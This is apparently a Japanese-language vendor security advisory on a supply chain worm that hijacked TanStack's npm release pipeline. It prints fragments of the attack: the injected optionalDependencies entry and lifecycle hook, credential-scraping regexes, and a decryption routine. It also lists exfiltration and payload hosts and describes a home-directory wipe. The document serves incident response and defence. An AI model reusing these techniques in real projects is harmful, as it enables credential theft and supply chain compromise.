Skip to main content

Mini Shai-Huludサプライチェーン攻撃でTanStackのnpmパッケージが侵害される

blog feature security alert purple

2026年5月11日

0 分で読めます

TanStackのnpmパッケージ侵害:Mini Shai-Huludサプライチェーン攻撃の全容

2026年5月11日19:20〜19:26 UTCの間に、@tanstack名前空間の42パッケージから、84個の悪意あるnpmパッケージ成果物が公開されました。認証情報を盗んだ攻撃者が公開したのではありません。攻撃者がワークフローの途中でランナーを乗っ取った後、TanStackの正規リリースパイプラインが、信頼されたOIDC IDを使って公開したのです。悪意あるバージョンは数時間以内にMistral AI、UiPath、その他数十のメンテナーに広がりました。@tanstack/react-routerだけでも、週あたり1,270万回以上ダウンロードされています(npm API)。

このインシデントは、StepSecurityによりTeamPCPとして知られる脅威グループの犯行とされています。また、有効なSLSA provenanceを備えた悪意あるnpmパッケージが確認された初の事例でもあります。SLSA provenanceは、パッケージが信頼できるソースからビルドされたことを証明するための、Sigstoreが生成する暗号学的証明書です。ワームがこの証明書を生成できたのは、正規のビルドパイプライン自体を乗っ取ったためであり、Sigstoreはビルドプロセスを正しく検証しました。しかし、ビルドされたコードが安全であることをSLSAは保証しません。

チームが5月11日に影響を受けた@tanstack/*のバージョンをインストールした場合、インストール環境は侵害されたものとして扱い、そのホストからアクセスできるすべてのシークレットをローテーションしてください。影響を受けたパッケージの全リスト、技術的な分析、段階を追った修復手順は、以下をご覧ください。

CVE: CVE-2026-45321 | GHSA: GHSA-g7cv-rxg3-hmpx | 深刻度: 重大

第4波:キャンペーンの背景

TanStackへの攻撃は単独のインシデントではありません。Shai-Huludワームのツールチェーンを使った一連のnpmサプライチェーン攻撃の最新の波です。StepSecurityが今回の攻撃の実行者としているTeamPCPは、Aqua SecurityのTrivyスキャナー(2026年3月)とBitwarden CLIのnpmパッケージ(2026年4月)への侵害にも関与しています。それ以前のShai-Huludの波(2025年9月と11月)も同じワームのツールチェーンを使っていましたが、TeamPCPの犯行とはされていません。

波

日付

規模

主な進化点

2025年9月14〜16日

500以上のパッケージ、700以上のリポジトリ

初の自己拡散型npmワーム。シークレットの窃取にTruffleHogを使用

2025年11月21〜23日

492パッケージ、月間ダウンロード数1億3,200万回、25,000以上のリポジトリ

preinstallフック(人の操作不要)。フォールバックとしてホームディレクトリを破壊(Trigger.devの事後分析)

2026年4月29日

AIコーディングエージェントに初の永続化機能(.claude/settings.json)。暗号化して情報を窃取。ロシア語ロケールを除外

2026年5月11日

悪意あるバージョン373個、パッケージ169個

有効なSLSA Build Level 3証明書を持つ初のnpmワーム。Session P2P C2

各波は、前の波より技術的に高度になっています。第4波が注目されるのは、その規模(第2波の方が大規模でした)ではなく、これまでのサプライチェーン攻撃で実証されたことのない、provenance証明書上は正規のパッケージと区別できない悪意あるパッケージの公開を実現した点です。

TeamPCPは攻撃の犯行声明を公に発表しました。このグループはDeadCatx3、PCPcat、ShellForce、CipherForceの別名でも追跡されています。Unit 42は、BreachForumsへの投稿に基づき、同グループがランサムウェアグループVectとの提携を発表したことを記録しています。

CISAは、2025年9月の最初の波と、tj-actions/changed-filesへの侵害(2025年3月)について注意喚起を発行しています。後者は、今回の攻撃で再利用されたOIDCトークン抽出手法が初めて記録された事例です。

被害を受けたもの

最初の侵入経路はTanStackの主要なルーターファミリーでしたが、ワームの自己拡散メカニズムにより、被害範囲は急速に拡大しました。

TanStackのパッケージ(42パッケージ、84バージョン。各パッケージにつき2バージョン):

パッケージ

侵害されたバージョン

1.169.5, 1.169.8

1.169.5, 1.169.8

1.169.5, 1.169.8

1.169.5, 1.169.8

1.167.68, 1.167.71

1.167.38, 1.167.41

42パッケージの全リストは、GHSA-g7cv-rxg3-hmpxおよびSnykのSecurity Databaseで確認できます。侵害されていないことが確認されたファミリー:@tanstack/query*、@tanstack/table*、@tanstack/form*、@tanstack/virtual*、@tanstack/store。

二次被害(ワームによる拡散):

名前空間

パッケージの例

@mistralai/mistralai 2.2.2〜2.2.4、および-azureと-gcpの各バリアント

@uipath

UiPath名前空間の40以上のパッケージ

@draftlab/@draftauth

@draftlab/auth、@draftlab/db、@draftauth/client

@squawk

航空データ関連の19パッケージ

その他

safe-action、cmux-agent-mcp、nextmove-mcp、ts-dna、cross-stitchなど

その日のうちに、影響を受けたパッケージが少なくとも170個、SnykのSecurity Databaseに記録されました。@mistralai/mistralaiは、OSSFの悪意あるパッケージデータベースにもMAL-2026-3432(GHSA-3q49-cfcf-g5fm)として登録されています。

攻撃の手口:3つの脆弱性を連鎖させる

TanStackの事後分析は詳細な内容です。3つの脆弱性が連鎖して悪用されました。どれか1つだけでは攻撃は成立しませんでした。

ステップ1:pull_request_targetを使ったPwn Request

2026年5月10日、攻撃者はzblgg(GitHub ID 127806521)というアカウントでTanStack/routerをフォークし、フォーク一覧の検索に表示されないよう、意図的にzblgg/configurationという名前を付けました。悪意あるコミット(65bf499d)は、Anthropic Claude GitHub Appになりすました偽のID claude <claude@users.noreply.github.com>で作成され、プッシュ時の自動CIを抑止するため[skip ci]が付けられていました。

5月11日10:49、攻撃者はTanStack/router#mainに対してPR #7378を作成しました。タイトルは「WIP: simplify history build」です。これにより、既知の設定ミスが悪用されました。TanStackのbundle-size.ymlワークフローはpull_request_targetトリガーを使いながら、フォークのマージ参照をチェックアウトし、フォーク側が制御するコードを実行していました。

on:
  pull_request_target:
    paths: ['packages/**', 'benchmarks/**']

jobs:
  benchmark-pr:
    steps:
      - uses: actions/checkout@v6.0.2
        with:
          ref: refs/pull/${{ github.event.pull_request.number }}/merge  # fork code

      - uses: TanStack/config/.github/setup@main  # calls actions/cache@v5

      - run: pnpm nx run @benchmarks/bundle-size:build  # executes fork-controlled code

この「Pwn Request」パターンは、セキュリティ研究者Adnan Khanが2024年5月、Angular、MDN、hyperledger/besuを対象に初めて記録し、実証しました。pull_request_targetトリガーはベースリポジトリのセキュリティコンテキストで実行されるため、フォークのコードはベースリポジトリのキャッシュスコープとGITHUB_TOKENにアクセスできました。

ステップ2:GitHub Actionsのキャッシュポイズニング

フォークにあった悪意あるvite_setup.mjsは、すぐにデータを窃取したわけではありません。代わりに、後でrelease.ymlが検索するものと完全に一致するキャッシュキーを使って、pnpmパッケージストアを汚染しました。

Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11

このキーは、ワークフローと同じhashFiles('**/pnpm-lock.yaml')の計算式を使い、公開されているpnpm-lock.yamlから事前に算出されていました。1.1 GBの汚染済みキャッシュは11:29に保存され、検知されないまま約8時間残存しました。その後、正規のmainブランチへのプッシュをきっかけに、19:15にrelease.ymlが実行されました。

bundle-size.ymlの作成者は、信頼境界を分けようと、ベンチマークジョブを分離し、信頼できない権限に関する注意書きも添えていました。しかし、GitHub Actionsの重要な仕様を見落としていました。actions/cache@v5のジョブ後の保存処理は、ワークフローのGITHUB_TOKENではなくランナー内部のトークンを使うため、permissions: contents: readを設定してもキャッシュへの書き込みは防げません。また、キャッシュスコープはpull_request_targetの実行とベースブランチへのプッシュ間で共有されるため、境界をまたいでキャッシュが汚染される隙が生じます。

ステップ3:ランナーのメモリからOIDCトークンを抽出

release.ymlにはid-token: write権限が設定されています。これは、npmのOIDC信頼されたパブリッシャーとの紐付けに必要です。ビルド段階で汚染されたpnpmストア由来の攻撃者制御のバイナリが実行されると、2025年3月のtj-actions/changed-filesへの侵害で記録された手法が使われました。TanStackの事後分析によると、攻撃者はこのインシデントと「同じメモリ抽出手法(帰属コメント付きの、同一のPythonスクリプト)」を使用しました。

  1. Runner.Workerプロセスを/proc/*/cmdlineで特定する

  2. /proc/<pid>/mapsと/proc/<pid>/memを読み取り、ワーカーのアドレス空間をダンプする

  3. id-token: writeが設定されているときにランナーがメモリ上で遅延生成するOIDCトークンを抽出する

  4. 正規のTanStackリリースワークフローとして認証し、registry.npmjs.orgに直接POSTする

ワークフローで予定されていたPublish Packagesステップには到達しませんでした。テストが失敗し、そのステップはスキップされました。それでも、攻撃者がワークフローの終了前にトークンを抽出していたため、有効なOIDCトークンと有効なSLSA provenanceを使って悪意あるパッケージが公開されました。

リリース実行は2回行われ、どちらもstatus: failureで完了しました。それにもかかわらず、npmには有効な署名があり、provenance attestationが付与されたパッケージが84個公開されました。実行IDは25613093674と25691781302です。

ペイロードの内部:router_init.js

2.3 MBのrouter_init.jsファイルが、侵害された各tarballのルートに紛れ込んでいました。このファイルはパッケージのfilesフィールドに宣言されておらず、通常のビルドプロセス外でtarballが改ざんされた証拠です。各パッケージにはoptionalDependenciesの項目も注入されていました。

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

コミットハッシュが示すのは、攻撃者のフォークにある孤立コミットです。フォークネットワーク間でコミットオブジェクトのストレージが共有されているため、GitHubでは正規のTanStack/routerのURLを通じて表示されます。URLは正規のものに見えますが、コミットは正規ではありません。npmが依存関係を解決すると、prepareライフサイクルフックを取得して実行します。

{
  "scripts": {
    "prepare": "bun run tanstack_runner.js && exit 1"
  }
}

&& exit 1は意図的なものです。オプショナル依存関係はエラーを表面化させずに「失敗」するため、インストールログにはほとんど痕跡が残りません。その間にペイロードはバックグラウンドですでに実行されています。

重要な防御策:パッケージマネージャーとしてのBunは、デフォルトではライフサイクルスクリプトを実行しません。そのため、Bunで直接影響を受けたパッケージをインストールしても、このペイロード配信経路は作動しません。また、Bunがすでにインストールされているマシンでは、ペイロードのhasCommand("bun")チェックによって早期終了します。ただし、Bunを完全な緩和策と見なすことはできません。router_init.jsファイルは引き続きtarballに含まれます。それでも、インストール時の攻撃対象領域を減らす効果はあります。

3層の難読化

router_init.jsには3層の保護が施されています。Upwind Securityによる詳細な難読化解除の分析(webcrack 2.16.0を使用。11.7 MBの難読化データから221,771行の読みやすいJavaScriptを生成)で記録されています。

第1層:JavaScript Obfuscatorでよく使われるパターンです。文字列配列を回転させる自己実行ブートストラップに続き、1行のソースコード内で2,864回呼び出されるディスパッチ関数(_0x253b)が置かれています。すべての文字列リテラルは配列参照に置き換えられています。

第2層:バイト単位のFisher-Yates置換暗号です。キーは、ハードコードされたマスターキー0c0e873033875f1bc471eda37e3b9d0f9b89bd41a4bbb4f86746caa2186c40aaとソルトsvksjrhjkcejgを使ったPBKDF2-SHA256(20万回反復)で導出されます。自動解析への耐性を高めるため、意図的に処理を遅くしています。この層は、C2ドメイン、認証情報のパス、キャンペーンの内部名EveryBoiWeBuildIsAWormyBoiなど、396個の固有文字列定数を復号します。

第3層:AES-256-GCMで暗号化され、gzip圧縮された11個のペイロードです。復号にはBunランタイム(Bun.gunzipSync)が必要です。難読化解除によって復元された暗号化関数は次のとおりです。

function w8(key, encryptedData) {
  let keyBuf     = Buffer.from(key, 'base64');
  let dataBuf    = Buffer.from(encryptedData, 'hex');
  let iv         = dataBuf.subarray(0, 12);
  let authTag    = dataBuf.subarray(12, 28);
  let ciphertext = dataBuf.subarray(28);
  let decipher   = createDecipheriv('aes-256-gcm', keyBuf, iv);
  decipher.setAuthTag(authTag);
  return new TextDecoder().decode(Bun.gunzipSync(
    Buffer.concat([decipher.update(ciphertext), decipher.final()])
  ));
}

同じ ctf-scramble-v2 Fisher-Yates PRNG(0x3039 / 12345 をシードに使用)が、Bitwarden CLI、SAP、TanStack の各攻撃でそのまま使われています。Unit 42 はこれを、3つの攻撃が同じコードベースに由来することを示す共通の作成者の指標として特定しました。

デーモン化

目に見える動作を始める前に、ペイロードは process.env.__DAEMONIZED を確認します。設定されていない場合は、標準入出力をすべて抑制した完全に切り離された子プロセスをフォークし、unref() を呼び出して Node.js が子プロセスの終了を待たないようにします。親プロセスは正常に終了し、子プロセスは npm install を実行したターミナルセッションから切り離され、ひそかに動作します。

認証情報の窃取

このペイロードは、クラウドネイティブな CI 環境における主要な認証情報の保管場所をすべて体系的に調査します。なお、ランナーのメモリをスクレイピングする際は、github_token と明示されたトークンを意図的に除外します。これは、持ち出したデータが GitHub 独自のシークレットスキャンに検知されるのを避けるためと考えられます。

GitHub Actions:

  • 直接読み取り:GITHUB_REPOSITORY、GITHUB_SERVER_URL、ACTIONS_ID_TOKEN_REQUEST_TOKEN、ACTIONS_ID_TOKEN_REQUEST_URL

  • GitHub REST API:GET /repos/<repo>/actions/secrets?per_page=100(API の最大値)

AWS:

  • 環境変数:AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_REGION、AWS_ROLE_ARN、AWS_WEB_IDENTITY_TOKEN_FILE

  • IMDSv2(正しく実装されており、IMDSv1 を無効化した強化済みインスタンスでも機能します)

  • ECS タスクメタデータエンドポイント(169.254.170.2)

  • 複数リージョンにわたる Secrets Manager と SSM Parameter Store の列挙

HashiCorp Vault:

  • VAULT_TOKEN、VAULT_ADDR、VAULT_AUTH_TOKEN

  • vault.svc.cluster.local:8200(Kubernetes 内部の Vault エンドポイント)への直接 API 呼び出し

Kubernetes:

  • /var/run/secrets/kubernetes.io/serviceaccount/ のサービスアカウントトークン

  • Vault エンドポイントと組み合わせることで、K8s トークンを盗み、Vault で認証し、すべての Vault シークレットを取得

開発者のワークステーション:

  • ~/.npmrc、~/.git-credentials、~/.ssh/ 内の SSH 秘密鍵

  • GCP メタデータ、Linux および macOS の100以上のパスにあるクラウドプロバイダーの認証情報ファイル

  • ~/.claude/projects/*.jsonl — Claude Code のセッション履歴ファイル。コード、コマンド、および過去の Claude Code セッションに表示された可能性のある認証情報が含まれます

難読化解除によって復元されたトークンの正規表現パターン:

{
  npmtoken:   /npm_[A-Za-z0-9]{36,}/g,
  ghtoken:    /gh[op]_[A-Za-z0-9]{36}/g,
  vaultToken: /hvs\.[A-Za-z0-9_-]{24,}/g,
  k8sToken:   /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-.]+/g,
  awsKey:     /AKIA[0-9A-Z]{16}/g,
}

データの持ち出しとデッドドロップ

窃取したデータは暗号化され、Session/Oxen 分散型 P2P メッセンジャーネットワーク(filev2.getsession[.]org、seed{1,2,3}.getsession.org)経由で送信されます。攻撃者が制御する C2 サーバーは存在せず、通信は Session のオニオンベースのサービスノードを経由し、暗号化メッセージアプリのテレメトリーと見分けがつきません。IP レベルのブロックは効果がなく、*.getsession.org の DNS レベルでのブロックが現実的な境界防御策です。

GitHub 独自の GraphQL API を利用したデッドドロップコミット経由の二次的なデータ持ち出しも行われます。作成者は claude@users.noreply.github.com(Anthropic Claude GitHub App を偽装)、メッセージは chore: update dependencies。Dependabot 風のブランチ名は Frank Herbert の『デューン』シリーズから取られており、dependabout/…/setup-formatter です(「dependabot」ではなく「dependabout」です)。GitHub の GraphQL エンドポイントは、ほぼすべての CI ネットワークの外向き通信ポリシーで許可リストに登録されているため、この経路は境界防御を完全に迂回します。

さらにペイロードは、アクセス可能なすべてのリポジトリに .github/workflows/codeql_analysis.yml を注入し、push 時に toJSON(secrets) を外部送信して、被害組織の GitHub Actions のシークレットコンテキスト全体を窃取します。

フォールバックの復旧メカニズムでは、GitHub 上でマジック文字列 OhNoWhatsGoingOnWithGitHub を含むコミットを検索し、他の被害者から先に持ち出されたトークンを回収します。

自己拡散

認証情報を持ち出した後、このワームは次の情報を照会します:

GET https://registry.npmjs.org/-/v1/search?text=maintainer:<username>

その後、盗んだ OIDC ID を使って各パッケージを再公開します。router_init.js の注入と optionalDependencies のエントリーも同じものが使われます。Snyk の Security Database に記録されているとおり、拡散は初期の84個の @tanstack/* バージョンにとどまらず、200を超えるパッケージに及びました。これにより、Mistral AI、UiPath、その他数十の二次被害者にワームが広がりました。

重要なのは、ワームが generateKeyPairSync と sign を使い、再公開するすべてのパッケージについて Sigstore 互換の in-toto 来歴証明を偽造する点です。つまり、二次被害者のパッケージにも、有効に見える SLSA 来歴証明が付与されます。SLSA 証明の失敗モードは、最初の TanStack 公開だけでなく、ワームによって拡散されたパッケージにも及びます。

永続化:アンインストールだけでは不十分

ワームは開発者ツールのディレクトリに自身のコピーを書き込み、npm uninstall や再起動後も残存します:

Claude Code フック(.claude/):

<project>/.claude/router_runtime.js   # payload self-copy
<project>/.claude/settings.json       # hooks config: runs on every tool event
<project>/.claude/setup.mjs           # ESM loader shim

Claude Code の hooks 設定では、ファイル編集や bash の実行などのツールイベントに応じてシェルコマンドを実行できます。ワームは自身を .claude/settings.json に書き込むことで、影響を受けたプロジェクトディレクトリで開発者が Claude Code を使うたびに再実行されます。

VS Code(.vscode/):

<project>/.vscode/setup.mjs           # ESM loader shim
<project>/.vscode/tasks.json          # runs setup.mjs on folder open

VS Code のワークスペースタスクの自動実行機能も、独立した実行経路になります。この2つの仕組みにより、影響を受けたバージョンで npm install を実行した開発者は、エディターを開くたびに環境を再侵害されるおそれがあります。

Nx npm Malware Explained: AI Agent Hijacking

Nx npm マルウェアの解説:AI エージェントの乗っ取り — サプライチェーンマルウェアが VS Code タスクと AI コーディングエージェントのフックを永続化の経路として悪用する手口を、同一の手法が使われた Nx npm ワームキャンペーンの分析とともに解説します。

システムレベルのデッドマンスイッチ:

~/.local/bin/gh-token-monitor.sh                    # Linux
~/.config/systemd/user/gh-token-monitor.service     # Linux
~/Library/LaunchAgents/com.user.gh-token-monitor.plist  # macOS

このサービスは盗んだ GitHub トークンを使い、60秒ごとに api.github.com/user をポーリングします。トークンが失効すると(HTTP 40x 応答)、rm -rf ~/ を実行してユーザーのホームディレクトリを破壊します。

対処の順序が重要です。認証情報を失効させる前に、監視サービスを無効化してください。先に失効させると、ホームディレクトリが破壊されるおそれがあります。この仕組みは、研究者の carlini が独自に特定し、攻撃から数時間以内にGitHub issue のコメント #4425225340とHN コミュニティで共有されました。

SLSA 来歴証明の問題

これは、悪意のあるパッケージに有効な SLSA Build Level 3 来歴証明を付与する npm ワームとして、初めて記録された事例です。侵害された @tanstack/* バージョンの Sigstore 証明は正当なものです。release.yml が refs/heads/main 上で TanStack/router リポジトリにおいて実行され、パッケージがビルド・公開されたことを正確に証明しています。これはすべて事実です。

SLSA 来歴証明が示すのは、特定のリポジトリの GitHub Actions 実行によってパッケージがビルドされたということです。そのワークフローの実行が許可されていたか、保護されたブランチから実行されたか、実行のきっかけとなったコミットが正当なものかまでは証明しません。

悪用可能な OIDC 設定:

# Vulnerable: trusts the entire repository
Trusted publisher: Repository: tanstack/router

安全な設定:

# Secure: pins to specific branch and workflow
Trusted publisher:
  Repository: tanstack/router
  Workflow: .github/workflows/release.yml
  Branch: refs/heads/main

ブランチとワークフローを固定せずに OIDC 信頼済み公開を使う npm パッケージは、すべてこの種の攻撃に対して脆弱です。来歴証明はサプライチェーンセキュリティに不可欠ですが、それだけでは十分ではありません。インストール時の動作分析が補完的な対策となります。自動動作分析は、人によるパッケージの確認が行われる前に、公開後6分以内に router_init.js の異常を検知し、影響を受けた84個の成果物すべてにフラグを立てました。

今すぐ実施すべき対策

ステップ0:影響の有無を確認する

スクリプトを実行せずに、影響を受けたバージョンが環境に取り込まれていないか確認します:

# Safe inspection: downloads tarball without executing lifecycle scripts
npm pack @tanstack/react-router@1.169.5 --dry-run

# Or manually unpack and inspect
npm pack @tanstack/<name>@<version>
tar -xzf *.tgz
grep -A3 optionalDependencies package/package.json
ls -la package/router_init.js   # present = compromised version
# Check by hash
find . -name "router_init.js" -exec shasum -a 256 {} \;
# Compromised hash: ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
# Check for the malicious optionalDependency marker in installed packages
find node_modules/@tanstack -name "package.json" | \
  xargs grep -l "voicproducoes\|79ac49eedf"

ステップ1:認証情報をローテーションする前に永続化を封じ込める

侵害の証拠が見つかった場合は、何よりも先にデッドマンスイッチを無効にしてください:

# Linux — stop and disable the monitoring service
systemctl --user stop gh-token-monitor.service 2>/dev/null
systemctl --user disable gh-token-monitor.service 2>/dev/null
rm -f ~/.config/systemd/user/gh-token-monitor.service
rm -f ~/.local/bin/gh-token-monitor.sh

# macOS — unload the LaunchAgent
launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist 2>/dev/null
rm -f ~/Library/LaunchAgents/com.user.gh-token-monitor.plist

次に、エディターの永続化フックを削除します:

# Claude Code hooks
cat ~/.claude/settings.json 2>/dev/null | grep -i "router_runtime\|setup.mjs"
cat .claude/settings.json 2>/dev/null | grep -i "router_runtime\|setup.mjs"
# Remove router_runtime.js, setup.mjs, and any suspicious hook entries

# VS Code tasks
cat .vscode/tasks.json 2>/dev/null
# Remove any task referencing setup.mjs or router_runtime.js

# Check for injected GitHub Actions workflow
ls .github/workflows/codeql_analysis.yml 2>/dev/null
# If present and you didn't add it, it's likely the injected exfil workflow — remove it
# Check for dead-drop commits authored as the Claude bot
git log --all --author=claude@users.noreply.github.com
# Revert any unexpected commits and force-push after confirming they're not legitimate

ステップ2:すべてのシークレットをローテーションする

永続化の仕組みを削除した後、次の優先順位でローテーションします:

  1. 影響を受けたリポジトリから公開した npm パッケージの publish トークンと OIDC フェデレーション権限

  2. GitHub PAT と細かい権限を設定できる個人アクセストークン

  3. AWS 認証情報(静的キーと、IMDSv2 経由のインスタンスロールの信頼設定の両方)

  4. HashiCorp Vault トークン

  5. Kubernetes サービスアカウントトークン

  6. SSH 秘密鍵

  7. GCP サービスアカウント認証情報

  8. ~/.claude/projects/*.jsonl に含まれる、参照可能なあらゆるシークレット — Claude Code のセッションログは窃取対象です

公開ワークフローがクリーンであることを確認してから、OIDC フェデレーション権限を再設定してください。

ステップ3:ネットワークレベルの緩和策

DNS レベルで ブロック *.getsession.org してください。IP ベースのブロックでは不十分です。Session ネットワークは分散型サービスノードを使用しています。現実的な境界防御策は DNS レベルでのブロックです。

次のドメインもブロックしてください:api.masscan.cloud、git-tanstack.com(キャンペーンのインフラで使われた追加の C2 ドメイン)。第2段階のペイロード URL は、外向き通信でブロックしてください:litter.catbox.moe/h8nc9u.js、litter.catbox.moe/7rrc6l.mjs。

ステップ4:GitHub Actions の OIDC 設定を監査する

信頼済み公開を利用する npm パッケージでは、OIDC 設定を特定のブランチとワークフローファイルに固定してください:

# Update your npm trusted publisher config to include:
workflow: .github/workflows/release.yml
branch: refs/heads/main
# (not just repository: owner/repo)

ワークフローレベルで permissions: id-token: none を設定し、公開を行う特定のジョブでのみ id-token: write を付与します:

permissions:
  id-token: none
  contents: read

jobs:
  publish:
    permissions:
      id-token: write  # only this job, not the entire workflow

ステップ5:pull_request_target ワークフローを監査する

pull_request_target を使用し、フォークのコードをチェックアウトしてキャッシュに書き込むワークフローは、いずれもキャッシュポイズニング攻撃に対して脆弱です。pull_request(フォークのコンテキストで読み取り専用)を使うか、フォークのコード実行とベースリポジトリへのキャッシュ書き込みを完全に分離してください。

pull_request_target とキャッシュへの書き込みを併用するリポジトリでは、既存の GitHub Actions キャッシュを削除してください:

# GitHub CLI
gh api /repos/OWNER/REPO/actions/caches --jq '.actions_caches[].id' | \
  xargs -I{} gh api -X DELETE /repos/OWNER/REPO/actions/caches/{}

サードパーティのアクション参照はすべて、タグではなくコミット SHA に固定してください:

# Instead of:
- uses: actions/cache@v5
# Use:
- uses: actions/cache@d4323d4df104b026a6aa633fdb11d772146be0bf

ステップ6:リリース後のクールダウン期間を設ける

悪意のあるバージョンが公開されていた時間は約3時間でした。7日間のクールダウンを設定していれば、この特定の攻撃を完全に防げていたでしょう(pnpm のサプライチェーン強化設定も参照):

# ~/.npmrc
min-release-age=7
ignore-scripts=true

# ~/Library/Preferences/pnpm/rc
minimum-release-age=10080   # minutes

# ~/.bunfig.toml
[install]
minimumReleaseAge = 604800  # seconds

# ~/.config/uv/uv.toml
exclude-newer = "7 days"

また、npm v11 以降では allow-git=none を検討してください。git URL 依存関係のインストールを防止できます(@tanstack/setup の optionalDependency に対する攻撃経路)。

ステップ7:SLSA 来歴証明だけを信頼しない

この攻撃では、悪意のあるパッケージに有効な SLSA Build Level 3 証明が付与されます。来歴証明の検証は必要ですが、それだけでは不十分です。インストール時の動作分析と、既知の悪意あるシグネチャとパッケージを照合するツールを併用してください。

Snyk の対応範囲

Snyk の Security Database では、関連する LiteLLM の PyPI サプライチェーン攻撃(SNYK-PYTHON-LITELLM-15762713)も網羅しています。この攻撃では、改ざんされた litellm が PyPI に直接アップロードされ、同じ .pth ファイルの手法を使って、多段階の認証情報窃取マルウェアと永続的なバックドアがインストールされました。

LiteLLM 攻撃に関する Snyk の詳細な分析は、snyk.io/articles/poisoned-security-scanner-backdooring-litellm でご覧いただけます。

Snyk Open Source は、依存関係ツリーを Snyk Security Database と照合し、侵害が確認されたパッケージのバージョンにフラグを立てます。プロジェクトのスキャンをまだ実施していない場合は、Snyk を無料でお試しいただき、現在のリスクを確認してください。

Shai-Hulud NPM Attack: Remediation with Snyk

Shai-Hulud NPM 攻撃:Snyk による修復 — Snyk を使って依存関係ツリー内の侵害されたパッケージを特定し、リスクを修復する手順を解説します。

概要:侵害の痕跡

指標

値

CVE

CVE-2026-45321

GHSA

GHSA-g7cv-rxg3-hmpx

悪意のあるファイル

router_init.js

SHA-256(router_init.js)

ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c

SHA-256(tanstack_runner.js)

2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96

悪意のある optionalDependency

"@tanstack/setup": "github:tanstack/router#79ac49ee..."

攻撃者のフォーク

悪意のある孤立コミット

79ac49eedf774dd4b0cfa308722bc463cfe5885c

主要なデータ持ち出しドメイン

filev2.getsession[.]org

追加の C2

api.masscan.cloud、git-tanstack.com

第2段階のペイロード

litter.catbox.moe/h8nc9u.js、litter.catbox.moe/7rrc6l.mjs

デッドドロップコミットの作成者

claude@users.noreply.github.com

デッドドロップブランチのパターン

dependabout/…/setup-formatter

永続化ファイル

.claude/router_runtime.js、.claude/setup.mjs、.vscode/setup.mjs

デッドマンスイッチ(Linux)

~/.local/bin/gh-token-monitor.sh、~/.config/systemd/user/gh-token-monitor.service

デッドマンスイッチ(macOS)

~/Library/LaunchAgents/com.user.gh-token-monitor.plist

キャンペーンのPBKDF2ソルト

svksjrhjkcejg(このキャンペーン固有の文字列。YARAでの検出に有用)

キャンペーン文字列

IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner

コミュニティ管理の検出スクリプト:GLPMC/Tanstack-Worm-Detectorとomarpr/mini-shai-hulud-ioc-scanner(ただし、使用前に必ず内容を確認してください)。

Pythonアプリのセキュリティ対策を始めましょう

Snykを使って、Pythonの脆弱性を無料で検出・修正できます。

クレジットカードの登録は不要です。

またはAzure AD、Docker ID、Bitbucketで登録

Snykを利用すると、利用規約およびプライバシーポリシーを含む各種ポリシーに同意したものとみなされます。